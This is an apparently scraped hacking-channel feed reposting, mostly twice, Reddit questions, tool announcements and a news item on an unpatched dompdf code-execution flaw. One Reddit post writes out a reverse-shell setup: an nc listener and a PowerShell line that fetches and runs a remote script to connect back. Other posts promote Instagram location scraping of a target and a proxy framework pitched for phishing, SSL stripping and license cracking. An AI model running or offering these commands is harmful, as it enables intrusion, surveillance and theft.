50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium » (https://bluebitfinance.medium.com/bluebit-testnet-launch-and-rewards-giveaway-e17a53b4ec77?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
BlueBit Testnet Launch and Rewards Giveaway!
50,000 $BBT + 200 $Aurora Giveaway!
hacking: security in practice
Broken screen android, no USB debugging enabled, how do I access it?
This seemed like the best place to ask. I have a Samsung J5 with a broken screen, unresponsive. I'm trying to request a new Whatsapp backup because my current one is very old. But I can't access it because of this mf broken screen. Also USB debugging isn't enabled because I'm a moron.
Is there a way to this? I've tried remote access to no suceess and ADB but it doesn't list my device, also almost every remote access tutorial's first step is enabling this god dammed USB debugging option.
submitted by /u/Downhouser
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Broken screen android, no USB debugging enabled, how do I access it?
This seemed like the best place to ask. I have a Samsung J5 with a broken screen, unresponsive. I'm trying to request a new Whatsapp backup because my current one is very old. But I can't access it because of this mf broken screen. Also USB debugging isn't enabled because I'm a moron.
Is there a way to this? I've tried remote access to no suceess and ADB but it doesn't list my device, also almost every remote access tutorial's first step is enabling this god dammed USB debugging option.
submitted by /u/Downhouser
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Broken screen android, no USB debugging enabled, how do I access it?
This seemed like the best place to ask. I have a Samsung J5 with a broken screen, unresponsive. I'm trying to request a new Whatsapp backup...
https://b.thumbs.redditmedia.com/9i6ZEzRNhufXY-0NrJ-6kxkQqv_MmmnAn68L0QNIBJM.jpg I am trying to use a raspberry pi 0 to get a reverse shell into a windows machine, on the raspberry pi I am using stty raw -echo; (stty size; cat) | nc -lvnp 4444 -s (ip of raspberrypi), and on the windows machine IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell (ipaddress of raspberrypi) 4444. After running this I then get this error:
https://preview.redd.it/7ixax627coo81.png?width=2218&format=png&auto=webp&s=4156ec53c1414678e7d55f86cc122a017a9cdd2f
submitted by /u/RepliedDawn
[link] [comments]
https://preview.redd.it/7ixax627coo81.png?width=2218&format=png&auto=webp&s=4156ec53c1414678e7d55f86cc122a017a9cdd2f
submitted by /u/RepliedDawn
[link] [comments]
hacking: security in practice
Breaking the Russian Firewall
I have a good friend who is stranded in Russia. Does anyone have any quick and dirty methods for breaking the Russian firewall o subvert that clown Putin? Best case I can email her some software. Thanks!!!
submitted by /u/Goofy-F00T
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Breaking the Russian Firewall
I have a good friend who is stranded in Russia. Does anyone have any quick and dirty methods for breaking the Russian firewall o subvert that clown Putin? Best case I can email her some software. Thanks!!!
submitted by /u/Goofy-F00T
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Breaking the Russian Firewall
I have a good friend who is stranded in Russia. Does anyone have any quick and dirty methods for breaking the Russian firewall o subvert that...
BlueBit Testnet Launch and Rewards Giveaway!
50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...
50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
How To Track Down Your Lost Devices?
No one likes to lose their smartphone, but with today’s geolocation technologies, you still have a chance of recovering it. If your gadget has gone missing, you can check for it at the place suggested by the geolocation service.
It’s frustrating to lose any item, whether it’s a phone, a tablet, or a ruggedised device for the office. This is especially true if you’re attempting to assist someone else in locating their smartphone, whether it’s a buddy or coworker.
To track your smartphone, you can use china post tracking service to make the tracking process faster and more effective. Want more? So, let us dive right in.
How to track down devices that have been misplaced or stolen?
Find my phone features in Apple devices.
Apple makes it simple to track down lost phones, stolen tablets, and other items.
If you’ve misplaced an iPhone, iPad, or iPod Touch, you can utilize Apple’s iCloud service to use the Find My app, which will show you the last location where the device was spotted. You can then use loud noises to find it, leave a note for someone who finds it, or lock it down.
How to find offline devices is one of the most intriguing features of the Find My app. Apple uses local device detection on all of its devices. As a result, if someone walks by your device with an Apple device that supports offline detection, you will be alerted to its location.
You must ensure that the Find My feature is enabled in the device’s privacy settings. Otherwise, Find I will not be able to find your iPhone or iPad.
What Is the Best Way to Locate My Android Phone or Tablet?
We have a few solutions at your disposal if you need to locate your Android phone or tablet.
You may use Google’s Find My Handset service to locate your Android device, regardless of its model. You can then choose to play a sound, lock the device, or erase all content for utmost security.
Unfortunately, Find My Device will not work in certain situations. For example, the gadget must be linked to a Google account, connected to the Internet, and set up the required permissions. As a result, if the device is not connected to the internet, the service will not function.
What’s the Best Way to Find Feature Phones or Any Other Device That Doesn’t Run iOS or Android?
If you lose a gadget that isn’t running iOS or Android, you’ll have a harder time recovering it. Nonetheless, you should not give up. You can find your phone — or at the very least, eliminate theft concerns – if you do some planning ahead of time.
You can contact a local police station and file a report if you have recorded the IMEI (International Mobile Equipment Identity), Mobile Equipment Identifier (MEID), or Electronic Serial Number (ESN) number. Officials will be able to look for the device from there.
It’s even more frustrating if your misplaced equipment belonged to your employer. Of course, the methods outlined above can aid in the recovery of stolen company tablets and other devices.
Prevent Personal Info Access
The next step is to keep the thief from gaining access to your sensitive data. Look at the apps’ websites to see whether you can log out or de-register. Also, change your passwords. Data access prevention varies by device; for example, the Blackberry Protect website allows you to lock and change your password, view your device’s location, wipe all of your data, mark the device as stolen, etc.
Let’s wrap up:
Finding the lost device is such a daunting and hard nut to crack. But use our effective guide and follow the above giving instructions carefully for effective results.
___________________________
@hacking_Attack
@Hacking_Video
How To Track Down Your Lost Devices?
No one likes to lose their smartphone, but with today’s geolocation technologies, you still have a chance of recovering it. If your gadget has gone missing, you can check for it at the place suggested by the geolocation service.
It’s frustrating to lose any item, whether it’s a phone, a tablet, or a ruggedised device for the office. This is especially true if you’re attempting to assist someone else in locating their smartphone, whether it’s a buddy or coworker.
To track your smartphone, you can use china post tracking service to make the tracking process faster and more effective. Want more? So, let us dive right in.
How to track down devices that have been misplaced or stolen?
Find my phone features in Apple devices.
Apple makes it simple to track down lost phones, stolen tablets, and other items.
If you’ve misplaced an iPhone, iPad, or iPod Touch, you can utilize Apple’s iCloud service to use the Find My app, which will show you the last location where the device was spotted. You can then use loud noises to find it, leave a note for someone who finds it, or lock it down.
How to find offline devices is one of the most intriguing features of the Find My app. Apple uses local device detection on all of its devices. As a result, if someone walks by your device with an Apple device that supports offline detection, you will be alerted to its location.
You must ensure that the Find My feature is enabled in the device’s privacy settings. Otherwise, Find I will not be able to find your iPhone or iPad.
What Is the Best Way to Locate My Android Phone or Tablet?
We have a few solutions at your disposal if you need to locate your Android phone or tablet.
You may use Google’s Find My Handset service to locate your Android device, regardless of its model. You can then choose to play a sound, lock the device, or erase all content for utmost security.
Unfortunately, Find My Device will not work in certain situations. For example, the gadget must be linked to a Google account, connected to the Internet, and set up the required permissions. As a result, if the device is not connected to the internet, the service will not function.
What’s the Best Way to Find Feature Phones or Any Other Device That Doesn’t Run iOS or Android?
If you lose a gadget that isn’t running iOS or Android, you’ll have a harder time recovering it. Nonetheless, you should not give up. You can find your phone — or at the very least, eliminate theft concerns – if you do some planning ahead of time.
You can contact a local police station and file a report if you have recorded the IMEI (International Mobile Equipment Identity), Mobile Equipment Identifier (MEID), or Electronic Serial Number (ESN) number. Officials will be able to look for the device from there.
It’s even more frustrating if your misplaced equipment belonged to your employer. Of course, the methods outlined above can aid in the recovery of stolen company tablets and other devices.
Prevent Personal Info Access
The next step is to keep the thief from gaining access to your sensitive data. Look at the apps’ websites to see whether you can log out or de-register. Also, change your passwords. Data access prevention varies by device; for example, the Blackberry Protect website allows you to lock and change your password, view your device’s location, wipe all of your data, mark the device as stolen, etc.
Let’s wrap up:
Finding the lost device is such a daunting and hard nut to crack. But use our effective guide and follow the above giving instructions carefully for effective results.
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
How To Track Down Your Lost Devices? - Kali Linux Tutorials
x x No one likes to lose their smartphone, but with today’s geolocation technologies, you still have a chance of recovering it. If your gadget has gone missing, you can check for it at the place suggested by the geolocation service. It’s frustrating to lose…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Instaloctrack : An Instagram OSINT Tool To Collect All The Geotagged Locations
Instaloctrack, a tool to scrape geotagged locations on Instagram profiles. Output in JSON & interactive map.
Requirements
sudo apt install chromium-chromedriver && chmod a+x /usr/bin/chromedriver
Installation
git clone https://github.com/bernsteining/instaloctrack
cd instaloctrack
pip3 install .
Or use Docker:
sudo docker build -t instaloctrack -f Dockerfile .
Usage
instaloctrack -h
usage: instaloctrack [-h] [-t TARGET_ACCOUNT] [-l LOGIN] [-p PASSWORD] [-v]
Instagram location data gathering tool. Usage: python3 instaloctrack.py -t
optional arguments:
-h, –help show this help message and exit
-t TARGET_ACCOUNT, –target TARGET_ACCOUNT
Instagram profile to investigate
-l LOGIN, –login LOGIN
Instagram profile to connect to, in order to access
the instagram posts of the target account
-p PASSWORD, –password PASSWORD
Password of the Instagram profile to connect to
-v, –visual Spawns Chromium GUI, otherwise Chromium is headless
e.g.
instaloctrack -t
If the target profile is private and you have an account following the target profile you can scrape the data with a connected session:
instaloctrack -t -l -p
How it works
First, we retrieve all the pictures links of the account by scrolling the whole Instagram profile, thanks to selenium’s webdriver.
Then, we retrieve asynchronously (asyncio) each picture link, we check if it contains a location in the picture description, and retrieve the location’s data if there’s one, and the timestamp.
* NB: Since 2018 Instagram deprecated its location API and it’s not possible anymore to get the GPS coordinates of a picture, all we can retrieve is the name of the location. (If you can prove me that I’m wrong about this, please tell me!)
Because Instagram doesn’t provide GPS coordinates, and we’re only given names of places, we have to geocode these (.ie. get the GPS coords from the name’s place).
For this, I used Nominatim’s awesome API, which uses OpenStreetMap. For our usage, no API key is required, and we respect Nominatim’s usage Policy by requesting GPS co ordinatess once every second.
Eventually, once we have all the GPS co ordinatess, we generate a HTML (thanks to jinja2 templating) with Javascript embedded that plots an Open Street Map (thanks to Leaflet library) with all our locations pinned. Once again, no API key is required for this step.
Also, the data collected by the script (location names, timestamps, GPS coordinates, errors) are dumped to a JSON file in order to be re-used.
Example
As an example, here’s the output on the former French President’s Instagram profile, @fhollande:
https://blogger.googleusercontent.com/img/a/AVvXsEhWoNU90oTtM6GaLbErJx2YXz_nFIpnXgcBJumDg6hyWFkCgJBNqJmKDXJFHiQOenDpFyOb6m1Ql7KKc4XsNE4hN6R7UpYP1Mmk80akYj5IPF_gbHmYORhgKKwnN1TRym6nwQqiIYF7vHzFDm2bF0TDdAMWer3Rtxq1hvjODGNRA-DyW9pHf6jmxtrE=s549
The JSON data dump (just a part of it to show the format for a given location):
{
“link”: “https://www.instagram.com/p/-Q_9EvR9eu”,
“place”: {
“id”: “290297”,
“name”: “Musée du quai Branly – Jacques Chirac”,
“slug”: “musee-du-quai-branly-jacques-chirac”,
“street_address”: ” 37 quai Branly”,
” zip_code”: ” 75007″,
” city_name”: ” Paris”,
” region_name”: ” “,
” country_code”: ” FR”
},
“timestamp”: “2015-11-19”,
“gps”: {
“lat”: “48.8566969”,
“lon”: “2.3514616”
}
}
Download
___________________________
@hacking_Attack
@Hacking_Video
Instaloctrack : An Instagram OSINT Tool To Collect All The Geotagged Locations
Instaloctrack, a tool to scrape geotagged locations on Instagram profiles. Output in JSON & interactive map.
Requirements
sudo apt install chromium-chromedriver && chmod a+x /usr/bin/chromedriver
Installation
git clone https://github.com/bernsteining/instaloctrack
cd instaloctrack
pip3 install .
Or use Docker:
sudo docker build -t instaloctrack -f Dockerfile .
Usage
instaloctrack -h
usage: instaloctrack [-h] [-t TARGET_ACCOUNT] [-l LOGIN] [-p PASSWORD] [-v]
Instagram location data gathering tool. Usage: python3 instaloctrack.py -t
optional arguments:
-h, –help show this help message and exit
-t TARGET_ACCOUNT, –target TARGET_ACCOUNT
Instagram profile to investigate
-l LOGIN, –login LOGIN
Instagram profile to connect to, in order to access
the instagram posts of the target account
-p PASSWORD, –password PASSWORD
Password of the Instagram profile to connect to
-v, –visual Spawns Chromium GUI, otherwise Chromium is headless
e.g.
instaloctrack -t
If the target profile is private and you have an account following the target profile you can scrape the data with a connected session:
instaloctrack -t -l -p
How it works
First, we retrieve all the pictures links of the account by scrolling the whole Instagram profile, thanks to selenium’s webdriver.
Then, we retrieve asynchronously (asyncio) each picture link, we check if it contains a location in the picture description, and retrieve the location’s data if there’s one, and the timestamp.
* NB: Since 2018 Instagram deprecated its location API and it’s not possible anymore to get the GPS coordinates of a picture, all we can retrieve is the name of the location. (If you can prove me that I’m wrong about this, please tell me!)
Because Instagram doesn’t provide GPS coordinates, and we’re only given names of places, we have to geocode these (.ie. get the GPS coords from the name’s place).
For this, I used Nominatim’s awesome API, which uses OpenStreetMap. For our usage, no API key is required, and we respect Nominatim’s usage Policy by requesting GPS co ordinatess once every second.
Eventually, once we have all the GPS co ordinatess, we generate a HTML (thanks to jinja2 templating) with Javascript embedded that plots an Open Street Map (thanks to Leaflet library) with all our locations pinned. Once again, no API key is required for this step.
Also, the data collected by the script (location names, timestamps, GPS coordinates, errors) are dumped to a JSON file in order to be re-used.
Example
As an example, here’s the output on the former French President’s Instagram profile, @fhollande:
https://blogger.googleusercontent.com/img/a/AVvXsEhWoNU90oTtM6GaLbErJx2YXz_nFIpnXgcBJumDg6hyWFkCgJBNqJmKDXJFHiQOenDpFyOb6m1Ql7KKc4XsNE4hN6R7UpYP1Mmk80akYj5IPF_gbHmYORhgKKwnN1TRym6nwQqiIYF7vHzFDm2bF0TDdAMWer3Rtxq1hvjODGNRA-DyW9pHf6jmxtrE=s549
The JSON data dump (just a part of it to show the format for a given location):
{
“link”: “https://www.instagram.com/p/-Q_9EvR9eu”,
“place”: {
“id”: “290297”,
“name”: “Musée du quai Branly – Jacques Chirac”,
“slug”: “musee-du-quai-branly-jacques-chirac”,
“street_address”: ” 37 quai Branly”,
” zip_code”: ” 75007″,
” city_name”: ” Paris”,
” region_name”: ” “,
” country_code”: ” FR”
},
“timestamp”: “2015-11-19”,
“gps”: {
“lat”: “48.8566969”,
“lon”: “2.3514616”
}
}
Download
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Instaloctrack : An Instagram OSINT Tool To Collect Geotagged Locations
Instaloctrack, a tool to scrape geotagged locations on Instagram profiles. Output in JSON & interactive map.
Hacking on Medium
What is canva and can we get Canva Pro for free?
What is Canva?
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
What is canva and can we get Canva Pro for free?
What is Canva?
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
What is canva and can we get Canva Pro for free?
What is Canva?
Hacking on Medium
Make Dangerous Computer Virus With Notepad
https://cdn-images-1.medium.com/max/1350/0*aoubyZfCdeH1C5DO.jpg
This is only for educational purposes.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Make Dangerous Computer Virus With Notepad
https://cdn-images-1.medium.com/max/1350/0*aoubyZfCdeH1C5DO.jpg
This is only for educational purposes.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Make Dangerous Computer Virus With Notepad
This is only for educational purposes.
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Xepor: the web routing framework, brings the best of mitmproxy & Flask
Project home: https://github.com/xepor/xepor
Xepor (pronounced /ˈzɛfə/ , zephyr), a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP request and/or HTTP response in a human-friendly coding style.
This project is meant to be used with mitmproxy. User write scripts with
If you want to step from PoC to production, from demo(e.g. http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py) to something you could take out with your WiFi Pineapple, then Xepor is for you!
Features
1. Code everything with
2. Handle multiple URL routes, even multiple hosts in one
3. For each route, you can choose to modify the request before connecting to server (or even return a fake response without connection to upstream), or modify the response before forwarding to user.
4. Blacklist mode or whitelist mode. Only allow URL endpoints defined in scripts to connect to upstream, blocking everything else (in specific domain) with HTTP 404. Suitable for transparent proxying.
5. Human readable URL path definition and matching powered by parse
6. Host remapping. define rules to redirect to genuine upstream from your fake hosts. Regex matching is supported. Best for SSL stripping and server side license cracking !
7. Plus all the bests from mitmproxy! ALL operation modes (
Use Case
1. Evil AP and phishing through MITM.
2. Sniffing traffic from specific device by iptables + transparent proxy, modify the payload with xepor on the fly.
3. Cracking cloud based software license. See examples/krisp/ as an example.
4. Write complicated web crawler in ~100 lines of codes . See examples/polyv_scrapper/ as an example.
5. ... and many more.
For installation instructions, tutorials and examples, check the Github repo and Documentations.
Disclaimer: I'm the author 😄 since our subreddit doesn't allow cross posting, I re-post my previous thread here. AMA if you guys have any question.
submitted by /u/ttimasdf
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
___________________________
@hacking_Attack
@Hacking_Video
Xepor: the web routing framework, brings the best of mitmproxy & Flask
Project home: https://github.com/xepor/xepor
Xepor (pronounced /ˈzɛfə/ , zephyr), a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP request and/or HTTP response in a human-friendly coding style.
This project is meant to be used with mitmproxy. User write scripts with
xepor, and run the script inside mitmproxy with mitmproxy -s your-script.py.If you want to step from PoC to production, from demo(e.g. http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py) to something you could take out with your WiFi Pineapple, then Xepor is for you!
Features
1. Code everything with
@api.route(), just like Flask! Write everything in one script and no if..elseany more.2. Handle multiple URL routes, even multiple hosts in one
InterceptedAPIinstance.3. For each route, you can choose to modify the request before connecting to server (or even return a fake response without connection to upstream), or modify the response before forwarding to user.
4. Blacklist mode or whitelist mode. Only allow URL endpoints defined in scripts to connect to upstream, blocking everything else (in specific domain) with HTTP 404. Suitable for transparent proxying.
5. Human readable URL path definition and matching powered by parse
6. Host remapping. define rules to redirect to genuine upstream from your fake hosts. Regex matching is supported. Best for SSL stripping and server side license cracking !
7. Plus all the bests from mitmproxy! ALL operation modes (
mitmproxy/ mitmweb+ regular/ transparent/ socks5/ reverse:SPEC/ upstream:SPEC) are fully supported.Use Case
1. Evil AP and phishing through MITM.
2. Sniffing traffic from specific device by iptables + transparent proxy, modify the payload with xepor on the fly.
3. Cracking cloud based software license. See examples/krisp/ as an example.
4. Write complicated web crawler in ~100 lines of codes . See examples/polyv_scrapper/ as an example.
5. ... and many more.
For installation instructions, tutorials and examples, check the Github repo and Documentations.
Disclaimer: I'm the author 😄 since our subreddit doesn't allow cross posting, I re-post my previous thread here. AMA if you guys have any question.
submitted by /u/ttimasdf
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
___________________________
@hacking_Attack
@Hacking_Video
reddit
Xepor: the web routing framework, brings the best of mitmproxy & Flask
Project home: https://github.com/xepor/xepor [Xepor](https://github.com/xepor/xepor) (pronounced */ˈzɛfə/* , zephyr), a web routing framework...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Workaround offered for unpatched HTML-to-PDF rendering vulnerability
Workaround offered for unpatched HTML-to-PDF rendering vulnerabilityPost Views: 1
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 2 Minutes
A popular software library for rendering PDFs from HTML documents suffers from an unpatched vulnerability that poses a remote code execution (RCE) risk, security researchers claim.
Flaws in the dompdf library were uncovered by German security consultancy Positive Security during the audit of a client’s website.
Although it remains unpatched even in the latest version of dompdf (v1.2.0), the vulnerability can be addressed by making sure the software is not in a web-accessible directory.
In addition, it is advisable to sanitize user-supplied input to dompdf installations, at least pending the release of a security update. Suggested mitigations are outlined in greater detail in a post by dompdf’s developers. Communication hiccupAlthough Positive Security contacted dompdf’s developers soon after the vulnerability was discovered last October, the disclosure email was not seen by project maintainer Brian Sweeney because the message was incorrectly misclassified as spam.
In response to queries from The Daily Swig, Sweeney responded promptly to state he agreed with Positive Security’s main findings.
See Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions.png “After reviewing the vulnerability details the next release (1.2.1) will include a patch,” Sweeney told The Daily Swig. “I still cannot provide a timeline for that release, though I would expect it to be within the next few weeks.”
“I can confirm that the reported vulnerability is valid and is unpatched at this time.”
“Positive Security did an excellent job with their research,” Sweeney concluded.
From a dompdf user’s perspective, it’s valuable to know about known security risks and possible workarounds, so Positive Security decided to go public with details of the vulnerability on Wednesday (March 16) ¬– even in the absence of a patch.
In a technical blog post, Positive Security explains how the software is vulnerable because it
Allowed potential attackers to upload font files with a .php extension to the web server.
Because of this security shortcoming a reflected cross-site scripting (XSS) issue can be abused to navigate towards an uploaded .php script, offering a way for potential attackers to achieve code execution on vulnerable systems. Ticket to rideDompdf is a popular open source PHP library that’s used for rendering HTML code as PDFs. Applications include ticket purchases, receipts/invoices, a variety of automated emails, Covid-19 test certificates, and more.
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The software has 8,600 stars, 1,600 forks and 59,200 dependant repositories – metrics that make it the most widely used PHP-to-PDF generation library, according to Positive Security’s Fabian Bräunlein.
“In case the preconditions are met, exploitation is quite easy,” Bräunlein told The Daily Swig.
Bräunlein explained that exploitation would follow a three-part process:
1. Serve the malicious CSS file and PHP font on the internet
2. Trigger the download of the PHP font by including the external CSS during PDF generation
3. Access the downloaded .php file to trigger arbitrary code execution on the server
During a client engagement, Positive Security successfully used the vulnerability to gain arbitrary code execution on our client’s system.
Brä[...]
___________________________
@hacking_Attack
@Hacking_Video
Workaround offered for unpatched HTML-to-PDF rendering vulnerability
Workaround offered for unpatched HTML-to-PDF rendering vulnerabilityPost Views: 1
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 2 Minutes
A popular software library for rendering PDFs from HTML documents suffers from an unpatched vulnerability that poses a remote code execution (RCE) risk, security researchers claim.
Flaws in the dompdf library were uncovered by German security consultancy Positive Security during the audit of a client’s website.
Although it remains unpatched even in the latest version of dompdf (v1.2.0), the vulnerability can be addressed by making sure the software is not in a web-accessible directory.
In addition, it is advisable to sanitize user-supplied input to dompdf installations, at least pending the release of a security update. Suggested mitigations are outlined in greater detail in a post by dompdf’s developers. Communication hiccupAlthough Positive Security contacted dompdf’s developers soon after the vulnerability was discovered last October, the disclosure email was not seen by project maintainer Brian Sweeney because the message was incorrectly misclassified as spam.
In response to queries from The Daily Swig, Sweeney responded promptly to state he agreed with Positive Security’s main findings.
See Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions.png “After reviewing the vulnerability details the next release (1.2.1) will include a patch,” Sweeney told The Daily Swig. “I still cannot provide a timeline for that release, though I would expect it to be within the next few weeks.”
“I can confirm that the reported vulnerability is valid and is unpatched at this time.”
“Positive Security did an excellent job with their research,” Sweeney concluded.
From a dompdf user’s perspective, it’s valuable to know about known security risks and possible workarounds, so Positive Security decided to go public with details of the vulnerability on Wednesday (March 16) ¬– even in the absence of a patch.
In a technical blog post, Positive Security explains how the software is vulnerable because it
Allowed potential attackers to upload font files with a .php extension to the web server.
Because of this security shortcoming a reflected cross-site scripting (XSS) issue can be abused to navigate towards an uploaded .php script, offering a way for potential attackers to achieve code execution on vulnerable systems. Ticket to rideDompdf is a popular open source PHP library that’s used for rendering HTML code as PDFs. Applications include ticket purchases, receipts/invoices, a variety of automated emails, Covid-19 test certificates, and more.
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The software has 8,600 stars, 1,600 forks and 59,200 dependant repositories – metrics that make it the most widely used PHP-to-PDF generation library, according to Positive Security’s Fabian Bräunlein.
“In case the preconditions are met, exploitation is quite easy,” Bräunlein told The Daily Swig.
Bräunlein explained that exploitation would follow a three-part process:
1. Serve the malicious CSS file and PHP font on the internet
2. Trigger the download of the PHP font by including the external CSS during PDF generation
3. Access the downloaded .php file to trigger arbitrary code execution on the server
During a client engagement, Positive Security successfully used the vulnerability to gain arbitrary code execution on our client’s system.
Brä[...]
___________________________
@hacking_Attack
@Hacking_Video
Black Hat Ethical Hacking
Workaround offered for unpatched HTML-to-PDF rendering vulnerability | Black Hat Ethical Hacking
A popular software library for rendering PDFs from HTML documents suffers from an unpatched vulnerability that poses a remote code execution (RCE) risk, security researchers claim.
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Workaround offered for unpatched HTML-to-PDF rendering vulnerability Workaround offered for unpatched HTML-to-PDF rendering vulnerabilityPost Views: 1 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png…
unlein said the security issues with dompdf offers secure development lessons for other software developers.
“A vulnerability like the one now in dompdf can happen quite easily in this intersection of different technologies (PHP, PDF, HTML, CSS, fonts, local, and remote files),” Bräunlein said.
“As a defense-in-depth mechanism, it can therefore make sense to run the PDF generation as isolated as possible from other components of the system.” See Also: Recon Tool: Uncover Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
Source: portswigger.net Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/79ohvicqaKcVP9KT2mDdTH-90x90.jpg Most QNAP NAS Devices Affected by ‘Dirty Pipe’ Linux Flaw5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Lapsus-group-has-hacked-Ubisoft-as-well-90x90.jpg Ubisoft has confirmed it was hacked by Lapsus$ group6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/raccoon-stealer-90x90.jpg Raccoon Stealer Crawls Into Telegram7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/kali-bright-90x90.jpg Kali Unkaputtbar – a new feature on Kali Linux1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/wolf-in-sheps-clothing-2-scaled-e1646927438585-90x90.jpeg Malware Posing as Russia DDoS Tool Bites Ukraine Hackers1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/FTDZNGKMCJPIDKR5RE7MSLIMB4-scaled-90x90.jpg Agencies in Ukraine targeted with MicroBackdoor malware2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/NINTCHDBPICT000622539771-90x90.png Microsoft Addresses 3 Zero-Days & 3 Critical Bugs for March2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/linux-kernel-double-free-vulnerability-90x90.png New Linux bug gives root on all major distros, exploit released2 weeks ago
The post Workaround offered for unpatched HTML-to-PDF rendering vulnerability first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
“A vulnerability like the one now in dompdf can happen quite easily in this intersection of different technologies (PHP, PDF, HTML, CSS, fonts, local, and remote files),” Bräunlein said.
“As a defense-in-depth mechanism, it can therefore make sense to run the PDF generation as isolated as possible from other components of the system.” See Also: Recon Tool: Uncover Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
Source: portswigger.net Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/79ohvicqaKcVP9KT2mDdTH-90x90.jpg Most QNAP NAS Devices Affected by ‘Dirty Pipe’ Linux Flaw5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Lapsus-group-has-hacked-Ubisoft-as-well-90x90.jpg Ubisoft has confirmed it was hacked by Lapsus$ group6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/raccoon-stealer-90x90.jpg Raccoon Stealer Crawls Into Telegram7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/kali-bright-90x90.jpg Kali Unkaputtbar – a new feature on Kali Linux1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/wolf-in-sheps-clothing-2-scaled-e1646927438585-90x90.jpeg Malware Posing as Russia DDoS Tool Bites Ukraine Hackers1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/FTDZNGKMCJPIDKR5RE7MSLIMB4-scaled-90x90.jpg Agencies in Ukraine targeted with MicroBackdoor malware2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/NINTCHDBPICT000622539771-90x90.png Microsoft Addresses 3 Zero-Days & 3 Critical Bugs for March2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/linux-kernel-double-free-vulnerability-90x90.png New Linux bug gives root on all major distros, exploit released2 weeks ago
The post Workaround offered for unpatched HTML-to-PDF rendering vulnerability first appeared on Black Hat Ethical Hacking.
___________________________
